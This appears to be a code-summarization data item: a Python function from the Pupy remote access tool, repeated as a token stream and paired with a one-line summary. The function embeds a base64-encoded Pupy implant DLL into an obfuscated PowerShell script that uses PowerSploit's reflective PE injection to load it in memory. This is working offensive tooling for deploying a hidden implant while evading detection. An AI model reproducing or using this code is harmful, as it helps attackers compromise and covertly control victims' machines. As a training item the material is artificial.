def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
 SPLIT_SIZE = 100000
 (x86InitCode, x86ConcatCode) = ('', '')
 code = '\n    $PEBytes = ""\n    {0}\n    $PEBytesTotal = [System.Convert]::FromBase64String({1})\n    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR\n    '
 binaryX86 = b64encode(get_edit_pupyx86_dll(payload_conf))
 binaryX86parts = [binaryX86[i:(i + SPLIT_SIZE)] for i in range(0, len(binaryX86), SPLIT_SIZE)]
 for (i, aPart) in enumerate(binaryX86parts):
  x86InitCode += '$PEBytes{0}="{1}"\n'.format(i, aPart)
  x86ConcatCode += '$PEBytes{0}+'.format(i)
 print (colorize('[+] ', 'green') + 'X86 pupy dll loaded and {0} variables generated'.format((i + 1)))
 script = obfuscatePowershellScript(open(os.path.join(ROOT, 'external', 'PowerSploit', 'CodeExecution', 'Invoke-ReflectivePEInjection.ps1'), 'r').read())
 return obfs_ps_script('{0}\n{1}'.format(script, code.format(x86InitCode, x86ConcatCode[:(-1)])))

def getInvokeReflectivePEInjectionWithDLLEmbedded ( payload_conf ) : SPLIT_SIZE = 100000 ( x86InitCode , x86ConcatCode ) = ( '' , '' ) code = '\n    $PEBytes = ""\n    {0}\n    $PEBytesTotal = [System.Convert]::FromBase64String({1})\n    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR\n    ' binaryX86 = b64encode ( get_edit_pupyx86_dll ( payload_conf ) ) binaryX86parts = [ binaryX86 [ i : ( i + SPLIT_SIZE ) ] for i in range ( 0 , len ( binaryX86 ) , SPLIT_SIZE ) ] for ( i , aPart ) in enumerate ( binaryX86parts ) : x86InitCode += '$PEBytes{0}="{1}"\n' . format ( i , aPart ) x86ConcatCode += '$PEBytes{0}+' . format ( i ) print ( colorize ( '[+] ' , 'green' ) + 'X86 pupy dll loaded and {0} variables generated' . format ( ( i + 1 ) ) ) script = obfuscatePowershellScript ( open ( os . path . join ( ROOT , 'external' , 'PowerSploit' , 'CodeExecution' , 'Invoke-ReflectivePEInjection.ps1' ) , 'r' ) . read ( ) ) return obfs_ps_script ( '{0}\n{1}' . format ( script , code . format ( x86InitCode , x86ConcatCode [ : ( - 1 ) ] ) ) )
return source code of invokereflectivepeinjection .